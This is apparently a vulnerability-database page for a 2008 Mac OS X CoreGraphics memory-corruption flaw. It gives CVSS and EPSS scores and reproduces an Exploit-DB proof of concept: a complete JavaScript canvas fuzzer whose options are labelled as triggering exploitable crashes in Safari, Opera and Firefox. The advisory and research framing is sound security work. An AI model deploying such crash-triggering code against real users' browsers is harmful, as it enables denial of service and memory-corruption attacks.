CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Unspecified vulnerability in CoreGraphics in Apple Mac OS X 10.4.11 and 10.5.4 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via unknown vectors involving "processing of arguments."
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
CWE Other
No informations.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
26.78%
–
–
2022-04-03
–
–
26.78%
–
–
2023-03-12
–
–
–
7.65%
–
2023-06-04
–
–
–
10.44%
–
2023-07-16
–
–
–
8.93%
–
2023-08-20
–
–
–
12.11%
–
2024-02-18
–
–
–
9.65%
–
2024-03-24
–
–
–
10.04%
–
2024-06-02
–
–
–
12.58%
–
2024-07-07
–
–
–
12.58%
–
2024-07-21
–
–
–
12.58%
–
2024-07-28
–
–
–
12.58%
–
2024-08-04
–
–
–
12.58%
–
2024-08-11
–
–
–
13.73%
–
2024-09-22
–
–
–
14.4%
–
2024-10-27
–
–
–
12.58%
–
2024-12-08
–
–
–
13.63%
–
2024-12-22
–
–
–
33.23%
–
2025-01-12
–
–
–
33.99%
–
2025-01-19
–
–
–
33.99%
–
2025-03-18
–
–
–
–
26.65%
2025-03-30
–
–
–
–
25.65%
2025-03-30
–
–
–
–
25.65,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2008-07-30 22h00 +00:00 Author : Michal Zalewski EDB Verified : Yes
source: https://www.securityfocus.com/bid/30488/info
Apple Mac OS X is prone to multiple memory-corruption vulnerabilities that affect the CoreGraphics component.
Attackers can exploit these issues to execute arbitrary code in the context of the affected application or cause denial-of-service conditions.
The following versions are affected:
Mac OS X v10.4.11 and prior
Mac OS X Server v10.4.11 and prior
Mac OS X v10.5.4 and prior
Mac OS X Server v10.5.4 and prior
NOTE: These issues were previously covered in BID 30483 (Apple Mac OS X 2008-005 Multiple Security Vulnerabilities), but have been given their own record to better document them.
<body> <font face="arial,helvetica"> <font size=+3><code><CANVAS></code> fuzzer</font><font size=-1> by <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a></font><p> <div id=ccont> <canvas id=canvas height=200 width=300 style="border: 1px solid teal"></canvas> </div> <img id=image src="envelope.gif" align=top> <p> <input type=checkbox id=dealloc> Deallocate canvas after every cycle (NULL ptr in Safari, likely exploitable in Opera)<br> <input type=checkbox id=keep_ctx> Keep context (if combined with above, NULL ptr Firefox, likely exploitable in Opera)<br> <input type=checkbox id=scale_large> Use large canvas scaling (likely exploitable in Opera, bogs down Firefox)<br> <input type=checkbox id=return_undef> Return <code>undefined</code> values (NULL ptr Safari, may hang Opera)<br> <input type=checkbox id=return_large> Return large integers (exploitable crash in Safari, OOM/DoS elsewhere)<br> <input type=checkbox id=quick> Skip time-consuming operations (quicker, but may miss issues)<p> <input type=submit value="Begin tests" id=button onclick="setup_all()"><p> <script> var ctx; /* Canvas context */ var imgObj; /* Reference image */ var scval = 1; var transval = 0; var quick; var dealloc; var return_undef; var return_large; var scale_large; var keep_ctx; var iht; function setup_all() { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); imgObj = document.getElementById('image'); iht = document.getElementById('ccont').innerHTML; quick = document.getElementById('quick').checked; dealloc = document.getElementById('dealloc').checked; return_undef = document.getElementById('return_undef').checked; return_large = document.getElementById('return_large').checked; scale_large = document.getElementById('scale_large').checked; keep_ctx = document.getElementById('keep_ctx').checked; document.getElementById('button').disabled = true; setInterval('do_fuzz();',1); } function R(x) { return Math.floor(Math.random() * x); } function make_number() { var v; var sel; if (return_large == true && R(3) == 1) sel = R(6); else sel = R(4); if (return_undef == false && sel == 0) sel = 1; if (R(2) == 1) v = R(100); else switch (sel) { case 0: break; case 1: v = 0; break; case 2: v = 0.000001; break; case 3: v = 10000; break; case 4: v = 2000000000; break; case 5: v = 1e100; break; } if (R(4) == 1) v = -v; return v; } function make_color() { if (R(2) == 1) return "#C0F0A0"; else return "#000090"; } function make_fill() { var sel; if (quick == true) sel = 0; else sel = R(6); switch (sel) { case 0: case 1: case 2: return make_color(); break; case 3: var r = ctx.createLinearGradient(make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 4: var r = ctx.createRadialGradient(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 5: var r = ctx.createPattern(imgObj,"repeat"); if (R(6) == 0) r.addColorStop(make_number(),make_color()); return r; break; } } function do_fuzz() { if (dealloc == true) document.getElementById('ccont').innerHTML = iht; if (keep_ctx == false) { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); } for (i=0;i<100;i++) { try { switch (R(33)) { case 0: ctx.fillStyle = make_fill(); break; case 1: ctx.globalAlpha = Math.random() - .5; break; case 2: switch (R(3)) { case 0: ctx.globalCompositeOperation = 'copy'; break; case 1: ctx.globalCompositeOperation = 'xor'; break; case 2: ctx.globalCompositeOperation = 'source-over'; break; } break; case 3: switch (R(2)) { case 0: ctx.lineCap = 'round'; break; case 1: ctx.lineCap = 'butt'; break; } break; case 4: switch (R(2)) { case 0: ctx.lineJoin = 'round'; break; case 1: ctx.lineJoin = 'miter'; break; } break; case 5: ctx.lineWidth = make_number(); break; case 6: ctx.miterLimit = make_number(); break; case 7: if (quick == true) break; ctx.shadowBlur = make_number(); break; case 8: if (quick == true) break; ctx.shadowColor = make_fill(); break; case 9: if (quick == true) break; ctx.shadowOffsetX = make_number(); ctx.shadowOffsetY = make_number(); break; case 10: ctx.restore(); break; case 11: ctx.rotate(make_number()); break; case 12: ctx.save(); break; case 13: ctx.scale(-1,-1); break; case 14: if (quick == true) break; if (transval == 0) { transval = make_number(); ctx.translate(transval,0); } else { ctx.translate(-transval,0); transval = 0; } break; case 15: ctx.clearRect(make_number(),make_number(),make_number(),make_number()); break; case 16: if (quick == true) break; ctx.drawImage(imgObj,make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 17: ctx.fillRect(make_number(),make_number(),make_number(),make_number()); break; case 18: ctx.beginPath(); break; case 19: // ctx.clip() is evil. break; case 20: ctx.closePath(); break; case 21: ctx.fill(); break; case 22: ctx.stroke(); break; case 23: ctx.strokeRect(make_number(),make_number(),make_number(),make_number()); break; case 24: if (quick == true) break; ctx.arc(make_number(),make_number(),make_number(),make_number(),make_number(),true); break; case 25: if (quick == true) break; ctx.arcTo(make_number(),make_number(),make_number(),make_number(),make_number()); break; case 26: if (quick == true) break; ctx.bezierCurveTo(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 27: ctx.lineTo(make_number(),make_number()); break; case 28: ctx.moveTo(make_number(),make_number()); break; case 29: if (quick == true) break; ctx.quadraticCurveTo(make_number(),make_number(),make_number(),make_number()); break; case 30: if (quick == true) break; ctx.transform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 31: if (quick == true) break; ctx.setTransform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 32: if (scale_large == true) { switch (scval) { case 0: ctx.scale(-1000000000,1); ctx.scale(-1000000000,1); scval = 1; break; case 1: ctx.scale(-.000000001,1); scval = 2; break; case 1: ctx.scale(-.000000001,1); scval = 0; break; } } break; } } catch (e) { } } } </script>